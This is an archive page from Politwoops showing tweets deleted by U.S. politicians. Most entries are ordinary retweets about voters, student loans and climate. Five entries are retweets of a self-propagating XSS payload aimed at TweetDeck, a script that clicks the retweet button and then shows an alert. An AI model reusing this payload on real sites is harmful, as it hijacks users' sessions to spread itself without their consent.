Politwoops Deleted Tweets from Politicians

An archive of the public statements deleted by U.S. politicians. Explore the tweets they would prefer you couldn't see.

To meet the Twitter API Terms of Service, all deleted tweets shown here since June 22, 2012 have been reviewed and approved by the Sunlight Foundation.

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Adriano Espaillat (D) @EspaillatNY

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RT @johndesio: .@rubendiazjr greeting voters with @EspaillatNY at Mosholu Pkwy 4 train #bronx #ny13 http://t.co/tpAJJg0vK9

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Senator Bob Casey (D) @SenBobCasey

Speaking on the Senate floor about our plan to give students a #farshot. watch live: http://t.co/MAdoXcOI9s

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Neil Abercrombie (D) @neilabercrombie

Politwoops no longer follows this account.
Great video by @dlnr on how sea level rise impacts Hawaii and what Act 83 does for climate adaptation. http://t.co/Pz5TtpZbV6 #HIGov

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Steve Cohen (D) @RepCohen

RT @alfranken: The overwhelming burden of student loan debt is holding our economy back. Tell Congress to fix that: http://t.co/YpVUPHTaup #BankOnStudents

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Alejandro (D) @agarciapadilla

RT @SenadoPR: "Aquí está el compromiso tanto de la Cámara y el Senado como del Gobernador para hacer a Puerto Rico más competitivo" @eduardobhatia #PC545

Rep. John Carney (D) @JohnCarneyDE

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Brian Higgins (D) @RepBrianHiggins

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Elizabeth Esty (D) @RepEsty

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Senator Mark Pryor (D) @SenMarkPryor

Politwoops no longer follows this account.
RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Maxine Waters (D) @MaxineWaters

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

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On June 3, 2015, the Sunlight Foundation received word from Twitter that it was pulling the plug on Politwoops, reversing an agreement made in 2012 that allowed us to run the project using its API. The last deletions we have archived are from May 15, 2015. Please read our 'Eulogy for Politwoops' for more detail.

While we may no longer be able to publish deleted tweets, we're still working hard to advocate for more and better open data and to create tools that promote transparency and hold our government accountable.

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